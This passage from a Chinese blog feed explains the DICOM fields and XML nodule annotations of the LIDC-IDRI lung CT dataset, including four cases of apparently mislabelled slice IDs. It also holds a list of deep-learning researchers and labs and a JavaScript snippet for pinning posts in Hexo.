class="number">0104</span>) Code Meaning                        LO: <span class="string">''</span></div><div class="line">   ---------</div><div class="line">(<span class="number">0038</span>, <span class="number">0020</span>) Admitting Date                      DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0002</span>) Scheduled Procedure Step Start Date DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0003</span>) Scheduled Procedure Step Start Time TM: <span class="string">''</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0004</span>) Scheduled Procedure Step End Date   DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0005</span>) Scheduled Procedure Step End Time   TM: <span class="string">''</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0244</span>) Performed Procedure Step Start Date DA: <span class="string">'20000101'</span></div><div class="line">(<span class="number">0040</span>, <span class="number">0245</span>) Performed Procedure Step Start Time TM: <span class="string">''</span></div><div class="line">(<span class="number">0040</span>, <span class="number">2016</span>) Placer Order Number / Imaging Servi LO: <span class="string">''</span></div><div class="line">(<span class="number">0040</span>, <span class="number">2017</span>) Filler Order Number / Imaging Servi LO: <span class="string">''</span></div><div class="line">(<span class="number">0040</span>, a075) Verifying Observer Name             PN: <span class="string">'Removed by CTP'</span></div><div class="line">(<span class="number">0040</span>, a123) Person Name                         PN: <span class="string">'Removed by CTP'</span></div><div class="line">(<span class="number">0070</span>, <span class="number">0084</span>) Content Creator Name                PN: <span class="string">''</span></div><div class="line">(<span class="number">7</span>fe0, <span class="number">0010</span>) Pixel Data                          OB <span class="keyword">or</span> OW: Array of <span class="number">524288</span> bytes</div></pre></td></tr></table></figure><p>可以看到不同公司所做的检查存储信息的格式不太一样，但一些主要信息都还是有的：</p><ul><li><code>SOP Instance UID</code>：用于唯一区分每一张dcm切片，其中Study Instance UID，Series Instance UID上面已经提过，分别用于区分检查号和一次检查对应序列号。</li><li><code>Modality</code>：表示检查模态，有MRI，CT，CR，DR等；</li><li><code>Manufacturer</code>：表示制造商，经分析共有”GE MEDICAL SYSTEMS”（最多）， “SIEMENS”， “TOSHIBA”， “Philips”四家制造商提供数据；</li><li><code>Slice Thickness</code>：表示z方向切片厚度，经统计有GE MEDICAL SYSTEMS：2.50， 1.25，SIEMENS：0.75，1.0， 2.0，3.0，5.0，TOSHIBA：2.0， 3.0， Philips：2.0，1.0，1.5，0.9；</li><li><code>Instance Number</code>：表示一组切片的序列号，这个可以直接用来将切面排序，在实际CT扫描时，是从胸部靠近头的一侧开始扫描，一次扫描到肺部最下，得到的instance number依次增加，对应的Image Position中的z依次减小，而对应的Slice Location是相对位置，绝大多数情况与Image Positon中的z值相同，依次减小，部分不同公司，如TOSHIBA则Slice Location可能与Image Position中的z不同，由于是相对位置，其Slice Location值为正，并且和Instance Number的变化趋势相同。为了在实际分析是不出现错误，不能仅仅采用Slice Location来对切片进行排序，而应使用Instance Number或者Image Position中的z，此次实验使用的是Instance Number。</li><li><code>Image Position</code>：表示图像的左上角在空间坐标系中的x,y,z坐标，单位是毫米，如果在检查中，则指该序列中第一张影像左上角坐标；</li><li><code>Slice Location</code>：为切片z轴相对位置，单位毫米，大多情况与Image Position中的z相同，但TOSHIBA公司提供的数据里面不同，<strong>所以不能仅仅根据这个值来对所有切片进行统一排序</strong>；</li><li><code>Photometric Interpretation</code>：光度计的解释,对于CT图像，用两个枚举值MONOCHROME1，MONOCHROME2.用来判断图像是否是彩色的，MONOCHROME1/2是灰度图，RGB则是真彩色图，还有其他；</li><li><code>Pixel Spacing</code>：表示像素中心间的物理间距；</li><li><code>Bits Allocated</code>：表示存储每一位像素时分配位数，Bits Stored 表示存储每一位像素所用位数；</li><li><code>Pixel Representation</code>：表示像素数据的表现类型:这是一个枚举值，分别为十六进制数0000和0001，0000H = 无符号整数，0001H = 2的补码。</li></ul><h3 id="XML标注信息说明"><a href="#XML标注信息说明" class="headerlink" title="XML标注信息说明"></a>XML标注信息说明</h3><p><img src="3.png" alt=""></p><p><img src="4.png" alt=""></p><p>具体分析可以参见本人简书：<a href="http://www.jianshu.com/p/9c1facf70b01" target="_blank" rel="external">LIDC-IDRI肺结节Dicom数据集解析与总结</a>。</p><p>分析之后回生成一个pkl文件，存储有每张图里面所有结节信息，包含三种结节，分别是small_nodules，nodules，non_nodules，每一种结节信息以list存储，list中每一项是一个结节块，具体结构是一个字典，包含两个键’centroid’和’pixels’，分别是结节中心点坐标和具体像素信息坐标，坐标以点对(x,y)的形式存储。</p><p>分析得到的pkl部分结果展示如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.193784360214506863621989507827'</span>: &#123;<span class="string">'small_nodules'</span>: [],</div><div class="line"> <span class="string">'nodules'</span>: [],</div><div class="line"> <span class="string">'non_nodules'</span>: [&#123;<span class="string">'centroid'</span>: (<span class="number">399</span>, <span class="number">211</span>), <span class="string">'pixels'</span>: [(<span class="number">399</span>, <span class="number">211</span>)]&#125;]&#125;,</div><div class="line"></div><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.980992723094835143194725792701'</span>: &#123;<span class="string">'small_nodules'</span>: [],</div><div class="line"> <span class="string">'nodules'</span>: [],</div><div class="line"> <span class="string">'non_nodules'</span>: [&#123;<span class="string">'centroid'</span>: (<span class="number">212</span>, <span class="number">157</span>), <span class="string">'pixels'</span>: [(<span class="number">212</span>, <span class="number">157</span>)]&#125;,   &#123;<span class="string">'centroid'</span>: (<span class="number">213</span>, <span class="number">157</span>), <span class="string">'pixels'</span>: [(<span class="number">213</span>, <span class="number">157</span>)]&#125;]&#125;,</div><div class="line"></div><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.315606855383999143703852453142'</span>: &#123;<span class="string">'small_nodules'</span>: [&#123;<span class="string">'centroid'</span>: [<span class="number">403</span>, <span class="number">272</span>], <span class="string">'pixels'</span>: [[<span class="number">403</span>, <span class="number">272</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">392</span>, <span class="number">317</span>], <span class="string">'pixels'</span>: [[<span class="number">392</span>, <span class="number">317</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">392</span>, <span class="number">317</span>], <span class="string">'pixels'</span>: [[<span class="number">392</span>, <span class="number">317</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">404</span>, <span class="number">273</span>], <span class="string">'pixels'</span>: [[<span class="number">404</span>, <span class="number">273</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">392</span>, <span class="number">316</span>], <span class="string">'pixels'</span>: [[<span class="number">392</span>, <span class="number">316</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">403</span>, <span class="number">272</span>], <span class="string">'pixels'</span>: [[<span class="number">403</span>, <span class="number">272</span>]]&#125;],</div><div class="line"><span class="string">'nodules'</span>: [],</div><div class="line"><span class="string">'non_nodules'</span>: [&#123;<span class="string">'centroid'</span>: (<span class="number">109</span>, <span class="number">291</span>), <span class="string">'pixels'</span>: [(<span class="number">109</span>, <span class="number">291</span>)]&#125;, &#123;<span class="string">'centroid'</span>: (<span class="number">109</span>, <span class="number">291</span>), <span class="string">'pixels'</span>: [(<span class="number">109</span>, <span class="number">291</span>)]&#125;]&#125;,</div><div class="line"></div><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.257699431144088065312137256223'</span>: &#123;<span class="string">'small_nodules'</span>: [],</div><div class="line"><span class="string">'nodules'</span>: [&#123;<span class="string">'centroid'</span>: (<span class="number">317.0</span>, <span class="number">365.5</span>), <span class="string">'pixels'</span>: [[<span class="number">311</span>, <span class="number">361</span>], [<span class="number">310</span>, <span class="number">362</span>], [<span class="number">309</span>, <span class="number">362</span>], [<span class="number">308</span>, <span class="number">363</span>], [<span class="number">307</span>, <span class="number">364</span>], [<span class="number">307</span>, <span class="number">365</span>], [<span class="number">307</span>, <span class="number">366</span>], [<span class="number">307</span>, <span class="number">367</span>], [<span class="number">307</span>, <span class="number">368</span>], [<span class="number">307</span>, <span class="number">369</span>], [<span class="number">308</span>, <span class="number">369</span>], [<span class="number">309</span>, <span class="number">369</span>], [<span class="number">310</span>, <span class="number">370</span>], [<span class="number">311</span>, <span class="number">370</span>], [<span class="number">312</span>, <span class="number">370</span>], [<span class="number">313</span>, <span class="number">370</span>], [<span class="number">314</span>, <span class="number">370</span>], [<span class="number">315</span>, <span class="number">369</span>], [<span class="number">316</span>, <span class="number">369</span>], [<span class="number">317</span>, <span class="number">369</span>], [<span class="number">318</span>, <span class="number">368</span>], [<span class="number">319</span>, <span class="number">368</span>], [<span class="number">320</span>, <span class="number">369</span>], [<span class="number">321</span>, <span class="number">369</span>], [<span class="number">322</span>, <span class="number">369</span>], [<span class="number">323</span>, <span class="number">369</span>], [<span class="number">324</span>, <span class="number">369</span>], [<span class="number">325</span>, <span class="number">369</span>], [<span class="number">326</span>, <span class="number">369</span>], [<span class="number">326</span>, <span class="number">368</span>], [<span class="number">326</span>, <span class="number">367</span>], [<span class="number">327</span>, <span class="number">366</span>], [<span class="number">326</span>, <span class="number">365</span>], [<span class="number">325</span>, <span class="number">364</span>], [<span class="number">324</span>, <span class="number">363</span>], [<span class="number">323</span>, <span class="number">363</span>], [<span class="number">322</span>, <span class="number">363</span>], [<span class="number">321</span>, <span class="number">363</span>], [<span class="number">320</span>, <span class="number">363</span>], [<span class="number">319</span>, <span class="number">364</span>], [<span class="number">318</span>, <span class="number">364</span>], [<span class="number">317</span>, <span class="number">365</span>], [<span class="number">316</span>, <span class="number">366</span>], [<span class="number">315</span>, <span class="number">365</span>], [<span class="number">315</span>, <span class="number">364</span>], [<span class="number">314</span>, <span class="number">363</span>], [<span class="number">314</span>, <span class="number">362</span>], [<span class="number">313</span>, <span class="number">361</span>], [<span class="number">312</span>, <span class="number">361</span>], [<span class="number">311</span>, <span class="number">361</span>]]&#125;],</div><div class="line"><span class="string">'non_nodules'</span>: []&#125;,</div><div class="line"></div><div class="line"><span class="string">'1.3.6.1.4.1.14519.5.2.1.6279.6001.313544823773855097029348077255'</span>: &#123;<span class="string">'small_nodules'</span>: [&#123;<span class="string">'centroid'</span>: [<span class="number">187</span>, <span class="number">166</span>], <span class="string">'pixels'</span>: [[<span class="number">187</span>, <span class="number">166</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">189</span>, <span class="number">167</span>], <span class="string">'pixels'</span>: [[<span class="number">189</span>, <span class="number">167</span>]]&#125;, &#123;<span class="string">'centroid'</span>: [<span class="number">188</span>, <span class="number">166</span>], <span class="string">'pixels'</span>: [[<span class="number">188</span>, <span class="number">166</span>]]&#125;],</div><div class="line"><span class="string">'nodules'</span>: [],</div><div class="line"><span class="string">'non_nodules'</span>: []&#125;</div></pre></td></tr></table></figure><hr><p>分析所有1012个病人XML标注信息，存在如下问题：</p><blockquote><p>医生标注信息可能有误（个人觉得）!!!!!!</p></blockquote><p>对所有病例跑完标注脚本（/home/zhwhong/API/get_txt.sh）时，在生成的log日志（/baina/sda1/data/lidc_matrix/get_txt.log）里面发现有问题的病例有四个，分别是LIDC-IDRI-0017，LIDC-IDRI-0365，LIDC-IDRI-0566，LIDC-IDRI-0659。</p><ul><li>【LIDC-IDRI-0017】</li></ul><p><img src="5.png" alt=""></p><p>我们找到这个不存在的sop_uid，为”1.3.6.1.4.1.14519.5.2.1.6279.6001.305973183883758685859912046949”，然后找到病例17对应的XML文件，看一下医生的标注信息，带有这个sop_uid的标注有两个，分别是医师2和医师4。我们看一下他们的标注：</p><p>医师2：</p><p><img src="6.png" alt=""></p><p>医师4：</p><p><img src="7.png" alt=""></p><p>对，有两个医师都标注了这个sop_uid，并且对应的ImageZposition为 -82.75，我们再在XML文件中找到ImageZposition为 -82.75 的另外两个医师是否有标注，结果是有，但是另外两个医师标注的 -82.75 的位置对应的切片的sop_uid和医师2,4不同，分别如下：</p><p>医师1：</p><p><img src="8.png" alt=""></p><p>医师3：</p><p><img src="9.png" alt=""></p><p>这就很尴尬了，同一个ImageZpositon，但是却标了不同的sop_uid，于是追根溯源，看一下到底是怎么回事，自己写脚本遍历LIDC-IDRI-0017中所有dcm切片，打印出所有切片sop_uid，作对比，然后发现在所有的结果中，根本没有找到医师2,医师4标记的那个sop_uid，而医师1，医师3的标注是存在的，如下：</p><p>医师2、4标记的sop_uid找不到：</p><p><img src="10.png" alt=""></p><p>医师1,3标记的找到了：</p><p><img src="11.png" alt=""></p><p>所以初步认定，LIDC-IDRI-0017病例中，医师2和医师4存在两处错误的标注信息（sop_uid错误）</p><ul><li>【LIDC-IDRI-0365】</li></ul><p>LIDC-IDRI-0365中存在两份检查序列，分别是：<br>1.3.6.1.4.1.14519.5.2.1.6279.6001.212341120080087350703610584139 / 1.3.6.1.4.1.14519.5.2.1.6279.6001.207544473852086582434957174616 和<br>1.3.6.1.4.1.14519.5.2.1.6279.6001.216207548522622026268886920069 / 1.3.6.1.4.1.14519.5.2.1.6279.6001.802846969823720586279982179144，<br>存在问题的是第二份序列，问题同17号病例类似，如下：</p><p><img src="12.png" alt=""></p><p>找到医生标注如下（四位医师标注相同）：</p><p><img src="13.png" alt=""></p><p>同样遍历LIDC-IDRI-0365中第二份序列，找不到对应标记的切片sop_uid：</p><p><img src="14.png" alt=""></p><ul><li>【LIDC-IDRI-0566】</li></ul><p>存在和上面相同的问题：</p><p><img src="15.png" alt=""></p><p><img src="16.png" alt=""></p><p><img src="17.png" alt=""></p><ul><li>【LIDC-IDRI-0659】</li></ul><p><img src="18.png" alt=""></p><p><img src="19.png" alt=""></p><p><img src="20.png" alt=""></p><hr><p>(文章首发于简书：<a href="http://www.jianshu.com/p/c4e9e18195eb" target="_blank" rel="external">LIDC-IDRI肺结节公开数据集Dicom和XML标注详解</a>，现在搬运至博客。转载请联系作者并注明出处，谢谢！)</p>]]></content>
    
    <summary type="html">
    
      &lt;ul&gt;
&lt;li&gt;文章首发于简书：&lt;a href=&quot;http://www.jianshu.com/p/c4e9e18195eb&quot;&gt;LIDC-IDRI肺结节公开数据集Dicom和XML标注详解&lt;/a&gt;，现在搬运至博客。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;一、数据来源&quot;&gt;&lt;a href=&quot;#一、数据来源&quot; class=&quot;headerlink&quot; title=&quot;一、数据来源&quot;&gt;&lt;/a&gt;一、数据来源&lt;/h2&gt;&lt;p&gt;　　数据集采用为 &lt;a href=&quot;https://wiki.cancerimagingarchive.net/display/Public/LIDC-IDRI&quot;&gt;LIDC-IDRI&lt;/a&gt; (The Lung Image Database Consortium)，该数据集由胸部医学图像文件(如CT、X光片)和对应的诊断结果病变标注组成。该数据是由美国国家癌症研究所(National Cancer Institute)发起收集的，目的是为了研究高危人群早期癌症检测。&lt;/p&gt;
    
    </summary>
    
      <category term="Medical Image" scheme="http://zhwhong.cn/categories/Medical-Image/"/>
    
    
      <category term="LIDC" scheme="http://zhwhong.cn/tags/LIDC/"/>
    
      <category term="Dicom" scheme="http://zhwhong.cn/tags/Dicom/"/>
    
      <category term="Xml" scheme="http://zhwhong.cn/tags/Xml/"/>
    
  </entry>
  
  <entry>
    <title>那些深度学习与计算机视觉之路上的大佬们</title>
    <link href="http://zhwhong.cn/2017/03/24/AI-DL-CV-org-and-person/"/>
    <id>http://zhwhong.cn/2017/03/24/AI-DL-CV-org-and-person/</id>
    <published>2017-03-24T07:48:24.000Z</published>
    <updated>2017-04-26T08:23:41.596Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p>本文整理、归纳了自己学习Deep Learning，Computer Vision方向看到的相关研究机构以及各位大佬们的信息。打算从事这个行业或者刚入门的朋友可以多关注、多了解一些CV的具体应用。搞研究的朋友也可以从中了解到很多牛人的研究动态、招生情况等。</p><p>有句话说得好，<code>Sharing changes the world!</code>，知识只有分享才能产生更大的价值，希望能对朋友们有所帮助。</p><a id="more"></a><h2 id="研究机构"><a href="#研究机构" class="headerlink" title="研究机构"></a>研究机构</h2><ul><li><a href="https://research.google.com/index.html" target="_blank" rel="external">Google Research</a></li><li><a href="https://plus.google.com/+ResearchatGoogle" target="_blank" rel="external">Research at Google - Google+</a></li></ul><p><img src="google_research.png" alt="Google Research"></p><ul><li><a href="https://research.facebook.com/ai" target="_blank" rel="external">Facebook AI Research</a></li></ul><p><img src="FAIR.png" alt="Facebook AI Research"></p><ul><li><a href="https://www.microsoft.com/en-us/research/?from=http%3A%2F%2Fresearch.microsoft.com%2Fen-us%2Fdefault.aspx" target="_blank" rel="external">Microsoft Research – Emerging Technology, Computer, and Software Research</a></li><li><a href="https://www.microsoft.com/en-us/research/group/visual-computing/?from=http%3A%2F%2Fresearch.microsoft.com%2Fen-us%2Fgroups%2Fvc%2F" target="_blank" rel="external">Visual Computing - Microsoft Research</a></li><li><a href="http://www.msra.cn/zh-cn/default.aspx" target="_blank" rel="external">微软亚洲研究院 - 梦想绽放，共创未来</a></li></ul><p><img src="MSAI.png" alt="MSAI"></p><ul><li><a href="http://www.cvpapers.com/" target="_blank" rel="external">CVPapers - Computer Vision Resource</a></li></ul><p><img src="CVpapers.png" alt="CVpapers"></p><ul><li><a href="http://vision.stanford.edu/research.html" target="_blank" rel="external">Stanford Vision Lab; Prof. Fei-Fei Li</a></li></ul><p><img src="Stanford_CV.png" alt="Stanford Vision Lab"></p><ul><li><a href="http://www.cs.cmu.edu/afs/cs/project/cil/ftp/html/vision.html" target="_blank" rel="external">CMU - The Computer Vision Homepage</a></li></ul><p><img src="CMU_CV.png" alt="CMU Computer Vision"></p><ul><li><a href="https://www2.eecs.berkeley.edu/Research/Projects/CS/vision/" target="_blank" rel="external">UCB - UC Berkeley Computer Vision Group</a></li></ul><p><img src="UCB_CV.png" alt="UC Berkeley Computer Vision Group"></p><ul><li><a href="http://bair.berkeley.edu/" target="_blank" rel="external">The Berkeley Artificial Intelligence Research (BAIR) Lab</a></li></ul><p><img src="BAIR.png" alt="BAIR"></p><h2 id="大佬们"><a href="#大佬们" class="headerlink" title="大佬们"></a>大佬们</h2><ul><li><a href="http://yann.lecun.com/" target="_blank" rel="external">Yann LeCun</a> - New York University &amp; Facebook AI Research Director</li><li><a href="http://www.iro.umontreal.ca/~bengioy/yoshua_en/" target="_blank" rel="external">Yoshua Bengio</a> - Full Professor at Université de Montréal</li><li><a href="http://www.cs.toronto.edu/~hinton/" target="_blank" rel="external">Geoffrey Hinton</a> - University of Toronto Professor &amp; Google Engineering Fellow</li><li><a href="http://www.cs.toronto.edu/~kriz/" target="_blank" rel="external">Alex Krizhevsky</a> - Currently working at Google</li><li><a href="http://www.cs.toronto.edu/~ilya/" target="_blank" rel="external">Ilya Sutskever</a> - Co-founder and Research Director of OpenAI</li><li><a href="http://www.iangoodfellow.com/" target="_blank" rel="external">Ian Goodfellow</a> - Staff Research Scientist at Google Brain | <a href="https://github.com/goodfeli" target="_blank" rel="external">goodfeli-github</a> | <a href="http://dblp.uni-trier.de/pers/hd/g/Goodfellow:Ian_J=" target="_blank" rel="external">dblp: Ian J. Goodfellow</a></li><li><a href="http://www.andrewng.org/" target="_blank" rel="external">Andrew Ng</a> - Baidu VP and Chief Scientist(pre)，Coursera Co-Chairman and Co-Founder，Adjunct Professor at Stanford University</li><li><a href="https://research.google.com/pubs/jeff.html" target="_blank" rel="external">Jeffrey Dean</a> - Google Senior Fellow in the Research Group</li><li><a href="http://vision.stanford.edu/feifeili/" target="_blank" rel="external">Fei-Fei Li</a> - Director of the Stanford Artificial Intelligence Lab and the Stanford Vision Lab</li><li><a href="http://cs.stanford.edu/people/karpathy/" target="_blank" rel="external">Andrej Karpathy</a> - Research Scientist at OpenAI | <a href="http://karpathy.github.io/" target="_blank" rel="external">Blog</a> | <a href="https://github.com/karpathy" target="_blank" rel="external">karpathy-github</a></li><li><a href="http://cs.stanford.edu/people/jcjohns/" target="_blank" rel="external">Justin Johnson</a> - Ph.D student in the Stanford Vision Lab | <a href="https://github.com/jcjohnson" target="_blank" rel="external">jcjohnson-github</a></li><li><a href="http://colah.github.io/about.html" target="_blank" rel="external">Christopher Olah</a> - Research Scientist at Google Brain | <a href="http://colah.github.io/" target="_blank" rel="external">colah’s blog</a> | <a href="http://colah.github.io/cv.pdf" target="_blank" rel="external">Chris Olah CV</a> | <a href="https://github.com/colah/" target="_blank" rel="external">colah-github</a></li><li><a href="http://kaiminghe.com/" target="_blank" rel="external">Kaiming He</a> - Facebook AI Research，Lead Researcher at MSRA pre.</li><li><a href="http://www.rossgirshick.info/" target="_blank" rel="external">Ross Girshick (rbg)</a> - Facebook AI Research</li><li><a href="http://pdollar.github.io/" target="_blank" rel="external">Piotr Dollár</a> - Facebook AI Research |  <a href="https://github.com/pdollar" target="_blank" rel="external">pdollar-github</a></li><li><a href="http://daggerfs.com/" target="_blank" rel="external">Yangqing Jia</a> - Research Scientist at Facebook &amp; <a href="http://caffe.berkeleyvision.org/" target="_blank" rel="external">Caffe</a> Author | <a href="http://daggerfs.com/assets/pdf/CV.pdf" target="_blank" rel="external">CV</a></li><li><a href="http://www.cs.cmu.edu/~muli/" target="_blank" rel="external">Mu Li</a> - Ph.D at CMU &amp; <a href="http://mxnet.io/index.html" target="_blank" rel="external">MXNet</a> Author | <a href="https://github.com/mli" target="_blank" rel="external">mli-github</a> | <a href="http://weibo.com/mli65" target="_blank" rel="external">weibo</a></li><li><a href="https://people.eecs.berkeley.edu/~gkioxari/" target="_blank" rel="external">Georgia Gkioxari</a> - UC Berkeley | <a href="https://github.com/gkioxari/" target="_blank" rel="external">gkioxari-github</a></li><li><a href="http://people.csail.mit.edu/bzhou/" target="_blank" rel="external">Bolei Zhou</a> - MIT</li><li><a href="http://www.ee.cuhk.edu.hk/~xgwang/" target="_blank" rel="external">Xiaogang Wang</a> - Associate Professor of Electronic Engineering，the Chinese University of Hong Kong</li><li><a href="http://deeplearning.csail.mit.edu/" target="_blank" rel="external">CVPR’17 Tutorial on Deep Learning for Objects and Scenes</a></li></ul><p>(持续更新中……)</p><h2 id="More-Reference"><a href="#More-Reference" class="headerlink" title="More Reference"></a>More Reference</h2><ul><li><a href="http://blog.csdn.net/adong76/article/details/42491401" target="_blank" rel="external">计算机视觉领域的一些牛人博客，超有实力的研究机构</a></li><li><a href="https://github.com/zhwhong/awesome-deep-learning#user-content-researchers" target="_blank" rel="external">Awesome Deep Learning -&gt; Researchers 100人</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;本文整理、归纳了自己学习Deep Learning，Computer Vision方向看到的相关研究机构以及各位大佬们的信息。打算从事这个行业或者刚入门的朋友可以多关注、多了解一些CV的具体应用。搞研究的朋友也可以从中了解到很多牛人的研究动态、招生情况等。&lt;/p&gt;
&lt;p&gt;有句话说得好，&lt;code&gt;Sharing changes the world!&lt;/code&gt;，知识只有分享才能产生更大的价值，希望能对朋友们有所帮助。&lt;/p&gt;
    
    </summary>
    
      <category term="Machine Learning" scheme="http://zhwhong.cn/categories/Machine-Learning/"/>
    
    
      <category term="Deep Learning" scheme="http://zhwhong.cn/tags/Deep-Learning/"/>
    
      <category term="Computer Vision" scheme="http://zhwhong.cn/tags/Computer-Vision/"/>
    
  </entry>
  
  <entry>
    <title>解决Hexo博客文章置顶问题</title>
    <link href="http://zhwhong.cn/2017/03/23/deal-with-hexo-article-top-problem/"/>
    <id>http://zhwhong.cn/2017/03/23/deal-with-hexo-article-top-problem/</id>
    <published>2017-03-23T09:07:29.000Z</published>
    <updated>2017-03-24T07:26:02.528Z</updated>
    
    <content type="html"><![CDATA[<script src="/assets/js/APlayer.min.js"> </script><p>Hexo默认只提供了按发布日期的排序，只好网上找了些资料修改。</p><p>原理：在Hexo生成首页HTML时，将top值高的文章排在前面，达到置顶功能。</p><p>修改Hexo文件夹下的<code>node_modules/hexo-generator-index/lib/generator.js</code>，在生成文章之前进行文章top值排序。</p><a id="more"></a><p>需添加的代码：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div></pre></td><td class="code"><pre><div class="line">posts.data = posts.data.sort(<span class="function"><span class="keyword">function</span>(<span class="params">a, b</span>) </span>&#123;</div><div class="line">    <span class="keyword">if</span>(a.top &amp;&amp; b.top) &#123; <span class="comment">// 两篇文章top都有定义</span></div><div class="line">        <span class="keyword">if</span>(a.top == b.top) <span class="keyword">return</span> b.date - a.date; <span class="comment">// 若top值一样则按照文章日期降序排</span></div><div class="line">        <span class="keyword">else</span> <span class="keyword">return</span> b.top - a.top; <span class="comment">// 否则按照top值降序排</span></div><div class="line">    &#125;</div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span>(a.top &amp;&amp; !b.top) &#123; <span class="comment">// 以下是只有一篇文章top有定义，那么将有top的排在前面（这里用异或操作居然不行233）</span></div><div class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span>(!a.top &amp;&amp; b.top) &#123;</div><div class="line">        <span class="keyword">return</span> <span class="number">1</span>;</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">else</span> <span class="keyword">return</span> b.date - a.date; <span class="comment">// 都没定义按照文章日期降序排</span></div><div class="line">&#125;);</div></pre></td></tr></table></figure><p>其中涉及Javascript的比较函数：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">cmp(<span class="keyword">var</span> a, <span class="keyword">var</span> b) &#123;</div><div class="line">    <span class="keyword">return</span>  a - b; <span class="comment">// 升序，降序的话就 b - a</span></div><div class="line">&#125;</div></pre></td></tr></table></figure><p>修改完成后，只需要在front-matter中设置需要置顶文章的top值，将会根据top值大小来选择置顶顺序top值越大越靠前。需要注意的是，这个文件不是主题的一部分，也不是Git管理的，备份的时候比较容易忽略。</p><p>以下是最终的generator.js内容</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="meta">'use strict'</span>;</div><div class="line"></div><div class="line"><span class="keyword">var</span> pagination = <span class="built_in">require</span>(<span class="string">'hexo-pagination'</span>);</div><div class="line"></div><div class="line"><span class="built_in">module</span>.exports = <span class="function"><span class="keyword">function</span>(<span class="params">locals</span>) </span>&#123;</div><div class="line">  <span class="keyword">var</span> config = <span class="keyword">this</span>.config;</div><div class="line">  <span class="keyword">var</span> posts = locals.posts.sort(config.index_generator.order_by);</div><div class="line"></div><div class="line">  posts.data = posts.data.sort(<span class="function"><span class="keyword">function</span>(<span class="params">a, b</span>) </span>&#123;</div><div class="line">      <span class="keyword">if</span>(a.top &amp;&amp; b.top) &#123;</div><div class="line">          <span class="keyword">if</span>(a.top == b.top) <span class="keyword">return</span> b.date - a.date;</div><div class="line">          <span class="keyword">else</span> <span class="keyword">return</span> b.top - a.top;</div><div class="line">      &#125;</div><div class="line">      <span class="keyword">else</span> <span class="keyword">if</span>(a.top &amp;&amp; !b.top) &#123;</div><div class="line">          <span class="keyword">return</span> <span class="number">-1</span>;</div><div class="line">      &#125;</div><div class="line">      <span class="keyword">else</span> <span class="keyword">if</span>(!a.top &amp;&amp; b.top) &#123;</div><div class="line">          <span class="keyword">return</span> <span class="number">1</span>;</div><div class="line">      &#125;</div><div class="line">      <span class="keyword">else</span> <span class="keyword">return</span> b.date - a.date;</div><div class="line">  &#125;);</div><div class="line"></div><div class="line">  <span class="keyword">var</span> paginationDir = config.pagination_dir || <span class="string">'page'</span>;</div><div class="line"></div><div class="line">  <span class="keyword">return</span> pagination(<span class="string">''</span>, posts, &#123;</div><div class="line">    <span class="attr">perPage</span>: config.index_generator.per_page,</div><div class="line">    <span class="attr">layout</span>: [<span class="string">'index'</span>, <span class="string">'archive'</span>],</div><div class="line">    <span class="attr">format</span>: paginationDir + <span class="string">'/%d/'</span>,</div><div class="line">    <span class="attr">data</span>: &#123;</div><div class="line">      <span class="attr">__index</span>: <span class="literal">true</span></div><div class="line">    &#125;</div><div class="line">  &#125;);</div><div class="line">&#125;;</div></pre></td></tr></table></figure><ul><li>Reference：<a href="http://www.netcan666.com/2015/11/22/%E8%A7%A3%E5%86%B3Hexo%E7%BD%AE%E9%A1%B6%E9%97%AE%E9%A2%98/" target="_blank" rel="external">解决Hexo置顶问题</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Hexo默认只提供了按发布日期的排序，只好网上找了些资料修改。&lt;/p&gt;
